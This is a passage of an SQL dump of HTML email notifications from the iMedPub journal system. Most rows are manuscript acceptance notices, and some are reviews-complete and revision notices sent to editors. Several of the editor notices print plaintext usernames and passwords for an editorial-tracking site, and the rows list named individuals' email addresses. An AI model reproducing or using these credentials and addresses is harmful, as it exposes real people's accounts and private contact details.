Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rahulmehtaarchitects@yahoo.com',8429,'2021-05-28',48),(3214,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8519</b><br />\r\n            <br />\r\n            Article Title: <b>Evaluation of the bacteriological quality of milk sold in Nnewi, Nigeria </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Ezugwu</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','nwafornnenna@gmail.com',8519,'2021-05-28',48),(3215,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8429</b><br />\r\n            <br />\r\n            Article Title: <b>Infection prevention through Isolation room designs in COVID&rsquo;19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mehta</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-28</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','rahulmehtaarchitects@yahoo.com',8429,'2021-05-28',48),(3220,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8541</b><br />\r\n            <br />\r\n            Article Title: <b>Asthma prevalence and risk factors among medical students in Taiba University in Almadinah Almonawara KSA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Liena Mekki</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8541</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',8541,'2021-05-29',85),(3221,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8541</b><br />\r\n            <br />\r\n            Article Title: <b>Asthma prevalence and risk factors among medical students in Taiba University in Almadinah Almonawara KSA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mekki</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-29</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','leena1babiker@gmail.com',8541,'2021-05-29',85),(3222,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8588</b><br />\r\n            <br />\r\n            Article Title: <b>CARDIOVASCULAR SYSTEM AND SARS-COV-2 &ndash; ETIOLOGY, PHYSIOPATHOLOGY AND CLINICAL PRESENTATION: A SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Hiroaki </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8588</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','hiroaki@fmu.ac.jp',8588,'2021-05-30',85),(3223,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8742</b><br />\r\n            <br />\r\n            Article Title: <b>DIGITAL MEDICINE SYSTEM: IMPACT OF RISING TECHNOLOGY</b><br />\r\n            <br />\r\n            Corresponding Author: <b>A PATIL RUPALI</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8742</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',8742,'2021-05-31',85),(3224,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-8704</b><br />\r\n            <br />\r\n            Article Title: <b>COVID 19 infection as a cause of COPD exacerbation in a vaccinated patient</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Radosavljevic</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','sladjaradosavljevic16@yahoo.com',8704,'2021-05-31',48),(3226,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaclr-21-8170</b><br />\r\n            <br />\r\n            Article Title: <b>Varicella Hospitalizations and Community-Acquired Methicillin-Resistant Staphylococcus aureus: Seven Years of Active Surveillance</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.aclr.com.es/\" target=\"_blank\">Annals of Clinical and Laboratory Research</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>CHACON-CRUZ</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Annals of Clinical and Laboratory Research</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@galleyproofs.com\">accounting@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.aclr.com.es/\">Annals of Clinical and Laboratory Research</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','echacon88@hotmail.com',8170,'2021-05-31',984),(3227,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7926</b><br />\r\n            <br />\r\n            Article Title: <b>Principal Component Analysis Applied to Alzheimer&acirc;&euro;&trade;s Disease:  USA by State</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Bodo Parady</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Neurology and Neuroscience</b><br />\r\n            <br />\r\n            Dear Dr. <b>Etindele Sosso</b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipjnn-21-7926</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> faustin_armel<br />\r\n            <b>Password:</b> HUJvN1Yf<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','faustin.armel.etindele.sosso@umontreal.ca',7926,'2021-05-31',75),(3228,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjnn-21-7926</b><br />\r\n            <br />\r\n            Article Title: <b>Principal Component Analysis Applied to Alzheimer&acirc;&euro;&trade;s Disease:  USA by State</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jneuro.com/\" target=\"_blank\">Journal of Neurology and Neuroscience</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Parady</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Neurology and Neuroscience</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jneuro.com/\">Journal of Neurology and Neuroscience</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','boparady@yahoo.com',7926,'2021-05-31',75),(3229,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8541</b><br />\r\n            <br />\r\n            Article Title: <b>Asthma prevalence and risk factors among medical students in Taiba University in Almadinah Almonawara KSA</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mekki</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-05-31</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','leena1babiker@gmail.com',8541,'2021-06-01',85),(3241,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8742</b><br />\r\n            <br />\r\n            Article Title: <b>DIGITAL MEDICINE SYSTEM: IMPACT OF RISING TECHNOLOGY</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8742</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','ytonbary@gmail.com',8742,'2021-06-02',85),(3245,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8139</b><br />\r\n            <br />\r\n            Article Title: <b>Terapia f&Atilde;&shy;sica temprana para la prevenci&Atilde;&sup3;n del delirio en la unidad de cuidados intensivos</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Giraldo Ocampo</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','camilogrldo@gmail.com',8139,'2021-06-02',274),(3246,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8158</b><br />\r\n            <br />\r\n            Article Title: <b>PRESENCIA DE ASCITIS EN PACIENTES ONCOL&Atilde;&ldquo;GICOS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Barrios Caro </b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','fbarriosc10@curnvirtual.edu.co',8158,'2021-06-02',274),(3247,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8321</b><br />\r\n            <br />\r\n            Article Title: <b>S&iacute;ndrome de burnout acad&eacute;mico: Emoci&oacute;n negativa frente al aprendizaje</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Marenco</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','dilia.aparicio@curnvirtual.edu.co',8321,'2021-06-02',274),(3248,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8359</b><br />\r\n            <br />\r\n            Article Title: <b>Cat&aacute;strofes tiroideas en uci: coma mixedematoso y tormenta tiroidea. Reporte de casos</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cristina.martinezavila@gmail.com',8359,'2021-06-02',274),(3249,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8381</b><br />\r\n            <br />\r\n            Article Title: <b>ENFERMEDAD HEP&Aacute;TICA GRASA NO ALCOH&Oacute;LICA: PERSPECTIVA GENERAL Y RIESGO CARDIOVASCULAR</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cristina.martinezavila@gmail.com',8381,'2021-06-02',274),(3250,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-8442</b><br />\r\n            <br />\r\n            Article Title: <b>PERSISTENT HEADACHE AFTER COVID 19 INFECTION</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Mart&Atilde;&shy;nez Avila</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-06-02</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a 